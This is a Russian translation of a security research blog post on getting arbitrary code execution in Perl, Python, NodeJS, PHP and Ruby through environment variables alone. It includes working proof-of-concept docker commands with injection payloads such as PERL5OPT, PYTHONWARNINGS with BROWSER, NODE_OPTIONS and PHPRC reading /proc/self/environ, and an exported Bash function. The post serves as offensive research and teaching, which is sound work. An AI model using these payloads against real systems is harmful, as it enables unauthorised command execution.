Интересные переменные среды для загрузки в интерпретаторы скриптовых языков
Вступление
В недавнем хакерском проекте мы получили возможность указывать переменные среды, но не выполняемый процесс. Мы также не могли контролировать содержимое файла на диске, а брутфорс идентификаторов процессов (PID) и файловых дескрипторов не дал интересных результатов, исключив удалённые эксплоиты LD_PRELOAD. К счастью, исполнялся интерпретатор скриптового языка, который позволял нам выполнять произвольные команды, задавая определённые переменные среды. В этом блоге обсуждается, как произвольные команды могут выполняться рядом интерпретаторов скриптового языка при вредоносных переменных среды.
Perl
Беглое чтение раздела ENVIRONMENT
справочной страницы perlrun(1)
показывает множество переменных среды, достойных изучения. Переменная среды PERL5OPT
позволяет задавать параметры командной строки, но ограничивается только принятием параметров CDIMTUWdmtw
. К сожалению, это означает отсутствие -e
, которая даёт загружать код perl для запуска.
Однако не всё потеряно, как показано в эксплоите для CVE-2016-1531 от Hacker Fantastic. Эксплоит записывает вредоносный модуль perl в файл /tmp/root.pm
и предоставляет переменные среды PERL5OPT=-Mroot
и PERL5LIB=/ tmp
для выполнения произвольного кода. Однако это был эксплоит для локальной уязвимости эскалации привилегий, а общий метод в идеале не должен требовать доступа к файловой системе. Глядя на эксплоит от blasty для того же CVE, он не требовал создания файла, использовал переменные среды PERL5OPT=-d
и PERL5DB=system("sh");exit;
. Те же переменные были использованы для решения задачи CTF в 2013 году.
Последняя тонкость универсального метода заключается в использовании одной переменной среды вместо двух. @justinsteven обнаружил, что это возможно с помощью PERL5OPT=-M
. В то время как для загрузки модуля perl можно использовать либо -m
, либо -M
, но опция -M
позволяет добавлять дополнительный код после имени модуля.
Доказательство концепции
Пример 0: Выполнение произвольного кода с помощью переменной среды против perl, выполняющего пустой скрипт (/dev/null)
$ docker run --env 'PERL5OPT=-Mbase;print(`id`)' perl:5.30.2 perl /dev/null
uid=0(root) gid=0(root) groups=0(root)
Python
Судя по разделу ENVIRONMENT VARIABLES
в манах по python(1)
, PYTHONSTARTUP
изначально выглядит как простое решение. Он позволяет указать путь к скрипту Python, который будет выполнен до отображения приглашения в интерактивном режиме. Требование к интерактивному режиму не казалось проблемой, поскольку переменная среды PYTHONINSPECT
может использоваться для входа в интерактивный режим, так же как и -i
в командной строке. Однако документация для опции -i
объясняет, что PYTHONSTARTUP
не будет использоваться, когда python запускается со скриптом для выполнения. Это означает, что PYTHONSTARTUP
и PYTHONINSPECT
не могут быть объединены, а PYTHONSTARTUP
имеет эффект только тогда, когда Python REPL немедленно запускается. Это в конечном счете означает, что PYTHONSTARTUP
нежизнеспособен, так как не имеет никакого эффекта при выполнении обычного скрипта Python.
Многообещающе выглядели переменные среды PYTHONHOME
и PYTHONPATH
. Обе позволяют произвольное выполнение кода, но требуют, чтобы вы также могли создавать каталоги и файлы в файловой системе. Возможно, удастся ослабить эти требования с помощью виртуальной файловой системы /proc и/или ZIP-файлов.
Большинство остальных переменных среды просто проверяются на непустую строку, и если да, то включают в целом доброкачественную настройку. Одним из редких исключений является PYTHONWARNINGS
.
Работа с помощью PYTHONWARNINGS
В документации для PYTHONWARNINGS
говорится, что это эквивалентно указанию параметра -W
. Параметр -W
используется для управления предупреждениями, чтобы указать предупреждения и как часто их выводить. Полная форма аргумента — action:message:category:module:line
. Хотя контроль предупреждений не казался многообещающей зацепкой, это быстро изменилось после проверки реализации.
Пример 1: Python-3.8.2/Lib/warnings.py
[...]
def _getcategory(category):
if not category:
return Warning
if '.' not in category:
import builtins as m
klass = category
else:
module, _, klass = category.rpartition('.')
try:
m = __import__(module, None, None, [klass])
except ImportError:
raise _OptionError("invalid module name: %r" % (module,)) from None
[...]
Этот код показывает, что пока наша указанная категория содержит точку, мы можем запустить импорт произвольного модуля Python.
Следующая проблема в том, что подавляющее большинство модулей из стандартной библиотеки Python при импорте выполняют очень мало кода. Они обычно просто определяют классы, которые будут использоваться позже, и даже когда они предоставляют код для запуска, код обычно защищён проверкой переменной __main__ (чтобы определить, был ли файл импортирован или запущен напрямую).
Неожиданным исключением из этого правила является модуль antigravity. Разработчики Python в 2008 году включили пасхальное яйцо, которое можно вызвать запуском import antigravity
. Этот импорт немедленно откроет в вашем браузере комикс xkcd с шуткой, что импорт антигравитации в Python даёт возможность летать.
Что касается того, как модуль antigravity
открывает ваш браузер, он использует другой модуль из стандартной библиотеки под названием webbrowser
. Этот модуль проверяет ваш PATH для большого разнообразия браузеров, включая mosaic, opera, skipstone, konqueror, chrome, chromium, firefox, links, elinks и lynx. Он также принимает переменную среды BROWSER
с указанием, какой процесс выполнить. Процессу в переменной среды нельзя предоставить аргументы, а URL-адрес комикса xkcd является единственным жёстко закодированным аргументом для команды.
Возможность превратить это в выполнение произвольного кода зависит от того, какие другие исполняемые файлы доступны в системе.
Использование Perl для выполнения произвольного кода
Один из подходов заключается в использовании Perl, который обычно установлен в системе и даже доступен в стандартном докеровском образе Python. Однако нельзя использовать бинарник perl
сам по себе, потому что первым и единственным аргументом является URL-адрес комикса xkcd. Данный аргумент вызовет ошибку, а процесс завершится без использования переменной среды PERL5OPT
.
Пример 2: PERL5OPT не оказывает никакого эффекта, когда URL передаётся в perl
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perl https://xkcd.com/353/
Can't open perl script "https://xkcd.com/353/": No such file or directory
К счастью, когда Perl доступен, также часто доступны сценарии Perl по умолчанию, такие как perldoc и perlthanks. Эти скрипты также будут завершаться с ошибкой и недопустимым аргументом, но ошибка в этом случае происходит позже, чем обработка переменной среды PERL5OPT. Это означает, что вы можете использовать полезную нагрузку переменной среды Perl, подробно описанную ранее в этом блоге.
Пример 3: PERL5OPT работает как положено с perldoc и perlthanks
$ docker run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perldoc https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
$ run -e 'PERL5OPT=-Mbase;print(`id`);exit' perl:5.30.2 perlthanks https://xkcd.com/353/
uid=0(root) gid=0(root) groups=0(root)
Доказательство концепции
Пример 4: Выполнение произвольного кода с использованием нескольких переменных среды с Python 2 и Python 3
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:2.7.18 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
$ docker run -e 'PYTHONWARNINGS=all:0:antigravity.x:0:0' -e 'BROWSER=perlthanks' -e 'PERL5OPT=-Mbase;print(`id`);exit;' python:3.8.2 python /dev/null
uid=0(root) gid=0(root) groups=0(root)
Invalid -W option ignored: unknown warning category: 'antigravity.x'
NodeJS
Михал Бентковски в своём блоге выложил полезную нагрузку для эксплоита Kibana (CVE-2019-7609). Прототип уязвимости с загрязнением был использован для установки произвольных переменных среды, которые приводили к произвольному выполнению команд. Полезная нагрузка от Михала использовала переменную среды NODE_OPTIONS
и файловую систему proc, в частности, /proc/self/environ
.
Хотя техника Михала творческая и отлично подходит в его случае, она не всегда гарантированно работает и имеет некоторые ограничения, которые было бы неплохо устранить.
Первое ограничение заключается в том, что он использует /proc/self/environ
только в том случае, если содержимое можно сделать синтаксически допустимым JavaScript. Для этого необходимо иметь возможность создать переменную среды и заставить её появиться сначала в содержимом файла /proc/self/environ
или знать/сбрутить имя переменной среды, которое появится первым, и перезаписать её значение.
Ещё одно ограничение в том, что значение первой переменной среды заканчивается однострочным комментарием (//). Поэтому любой символ новой строки в других переменных среды, скорее всего, вызовет синтаксическую ошибку и предотвратит выполнение полезной нагрузки. Использование многострочных комментариев (/*) не исправит проблему, так как они должны быть закрыты, чтобы быть синтаксически корректными. Поэтому в редких случаях, когда переменная среды содержит символ новой строки, необходимо знать/сбрутить имя переменной среды и перезаписать её значение на новое значение, которое не содержит новой строки.
Устранение этих ограничений оставим в качестве упражнения для читателя.
Доказательство концепции
Пример 5. Выполнения произвольного кода с переменными среды против NodeJS Михала Бентковски
$ docker run -e 'NODE_VERSION=console.log(require("child_process").execSync("id").toString());//' -e 'NODE_OPTIONS=--require /proc/self/environ' node:14.2.0 node /dev/null
uid=0(root) gid=0(root) groups=0(root)
РНР
Если запустить ltrace -e getenv php /dev/null
, то вы обнаружите, что PHP использует переменную среды PHPRC
. Переменная среды используется при попытке найти и загрузить конфигурационный файл php.ini
. Эксплоит от neex для CVE-2019-11043 использует ряд параметров PHP, чтобы добиться выполнения произвольного кода. У Orange Tsai также есть отличный пост о создании собственного эксплоита для того же CVE, который использует немного другой список настроек. Используя эти знания, а также знания, полученные из предыдущей техники NodeJS, и некоторую помощь Брендана Скарвелла, было найдено решение для PHP с двумя переменными среды.
Для этого метода существуют те же ограничения, что и для примеров NodeJS.
Доказательство концепции
Пример 6: Выполнения произвольного кода с переменными среды против PHP
$ docker run -e $'HOSTNAME=1;nauto_prepend_file=/proc/self/environn;<?php die(`id`); ?>' -e 'PHPRC=/proc/self/environ' php:7.3 php /dev/null
HOSTNAME=1;
auto_prepend_file=/proc/self/environ
;uid=0(root) gid=0(root) groups=0(root)
Ruby
Универсальное решение для Ruby пока не найдено. Ruby действительно принимает переменную среды RUBYOPT
для указания параметров командной строки. На man-странице говорится, что RUBYOPT может содержать только -d, -E, -I, -K, -r, -T, -U, -v, -w, -W, --debug, --disable-FEATURE и --enable-FEATURE
. Наиболее перспективным вариантом является -r
, который заставляет Ruby загружать библиотеку с помощью require. Однако это ограничивается файлами с расширением .rb
или .so
.
Найденный пример относительно полезного файла .rb
— это tools/server.rb
из gem'а json, который доступен после установки Ruby в системах Fedora. Когда требуется этот файл, запускается веб-сервер, как показано ниже:
Пример 7: Использование переменной среды RUBYOPT для запуска процесса ruby и старта веб-сервера
$ docker run -it --env 'RUBYOPT=-r/usr/share/gems/gems/json-2.3.0/tools/server.rb' fedora:33 /bin/bash -c 'dnf install -y ruby 1>/dev/null; ruby /dev/null'
Surf to:
http://27dfc3850fbe:6666
[2020-06-17 05:43:47] INFO WEBrick 1.6.0
[2020-06-17 05:43:47] INFO ruby 2.7.1 (2020-03-31) [x86_64-linux]
[2020-06-17 05:43:47] INFO WEBrick::HTTPServer#start: pid=28 port=6666
Другой подход в Fedora заключается в том, чтобы использовать тот факт, что /usr/bin/ruby
на самом деле является скриптом Bash, который запускает /usr/bin/ruby-mri
. Скрипт вызывает функции Bash, которые могут быть перезаписаны переменными среды.
Доказательство концепции
Пример 8: Использование экспортированной функции Bash для выполнения произвольной команды
$ docker run --env 'BASH_FUNC_declare%%=() { id; exit; }' fedora:33 /bin/bash -c 'dnf install ruby -y 1>/dev/null; ruby /dev/null'
uid=0(root) gid=0(root) groups=0(root)
Заключение
В этом посте были рассмотрены интересные случаи использования переменных среды, которые могли бы помочь в достижении произвольного выполнения кода с помощью различных интерпретаторов скриптового языка, не записывая файлы на диск. Надеюсь, вам понравилось читать и вам захотелось найти и поделиться улучшенные полезные нагрузки для этих и других скриптовых языков. Если найдёте универсальную технику, которая работает против Ruby, будет очень интересно услышать о ней.
Автор: m1rko